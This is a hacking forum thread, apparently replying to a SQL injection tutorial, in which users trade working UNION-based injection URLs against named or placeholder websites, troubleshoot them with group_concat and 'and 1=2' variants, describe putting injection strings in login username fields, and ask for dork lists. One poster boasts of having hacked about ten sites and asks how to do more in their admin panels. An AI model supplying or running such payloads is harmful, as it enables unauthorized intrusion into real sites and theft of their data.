[RogueCoder]

I got to the admin log in page but i got this
Not Found

The requested URL /adminpage/admin-request was not found on this server.
Apache/2.2.14 (Ubuntu) Server at www.leadacidbatteryinfo.org Port 80
i tried admin name:admin
and for the password iam using free hivij but it is good
so what we do here is in the username we always type "Admin"
and for our password we type our sql injection
i tried

[... snip ...]

i tried like half of them
and ny facebook name is my same name Apm A hmad

First, these won't work on Facebook or any other high profile open source project.

Second, you should instead try these in the username field since passwords most of the times are hashed meaning the attack string won't work.

[redN00ws]

As I am new to all this, I searched the internet for some learning projects and found some.
But at the point of asking the colums of an interesting table I get the following error:
Error performing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '115,115,99,109,97,110,97,103,101,114 -' at line 1

This is the url I used :
http://[SITEURL.COM]/actiontools/getThisTopic.php?id=-8771 union all select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name=char(115,115,99,109,97,110,97,103,101,114)--

I can't see the mistake... can you help me out?

[redN00ws]

Ok, my question is solved... My Tor web browser was blocking unsafe url's (potential XSS-scripts). I didn't know that. I just saw a warning on top of my browser.

[ilvae]

There is a password to downloading the dork.... Can I haz it via PM please?

[cbriger]

Thanks dude !
finally a sql tut that makes sense
no offence to other tuts or anything :-)

[redN00ws]

A question... Maybe it is an old question but it is hard to read all previous 33 pages of this thread.
What if the dbase name isn't "information_schema". I tried all kind of solutions but ... snif...
Is there a way to find the dbase name?

---

found it...
http://www.[url].php?id=-62 union all select 1,2,database(),4,5,6,7,8,9--

[smoochy]

put again your tutorial for noobs or USE Havij

its better to use manual injection than to use Havij.... using Havij is like you're waiting for someone to feed you...

---

As I am new to all this, I searched the internet for some learning projects and found some.
But at the point of asking the colums of an interesting table I get the following error:
Error performing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '115,115,99,109,97,110,97,103,101,114 -' at line 1

This is the url I used :
http://[SITEURL.COM]/actiontools/getThisTopic.php?id=-8771 union all select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name=char(115,115,99,109,97,110,97,103,101,114)--

I can't see the mistake... can you help me out?

instead of:
http://[SITEURL.COM]/actiontools/getThisTopic.php?id=-8771 union all select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name=char(115,115,99,109,97,110,97,103,101,114)--

try this:
http://[SITEURL.COM]/actiontools/getThisTopic.php?id=-8771 union all select 1,2,group_concat(column_name),4,5,6,7,8,9,10 from information_schema.columns where table_name=char(115,115,99,109,97,110,97,103,101,114)--

or

http://[SITEURL.COM]/actiontools/getThisTopic.php?id=-8771 and 1=2 union all select 1,2,group_concat(column_name),4,5,6,7,8,9,10 from information_schema.columns where table_name=char(115,115,99,109,97,110,97,103,101,114)--

[fmaurica]

DON'T REMOVE! I'll thank you as much as you want but please do not remove !!!

[V1P3R]

Lol i won't remove it man
thanks a lot

[Bond_mybb_import13052]

This is a great tutorial. I've spent some time with it and I already hacked a few sites using the first method and one with the second. Your dork list won't download though, so I had to google for a different list. And also people will probably wonder how to find the admin login, which I'm doing with havij. If there's a better way let me know, but it could be a good thing to add to the tutorial. Apart from that though there's a few things I'm confused about.

First, although I was able to get in probably like 10 sites using the first method, most of the time I can't change anything around in the admin panel because these other SQL errors keep coming up. You literally can't do anything.

And second, I run into some problems when using the second method. It seems like there's a lot of other variables involved. The most common one is that when I type order by 3-- (or whatever number), sometimes the only number that doesn't yield an error is 1. Then if I type union all select 1-- it always gives me an error or loads normally. Never does it give me the vulnerable column. What does that mean?

Thank you.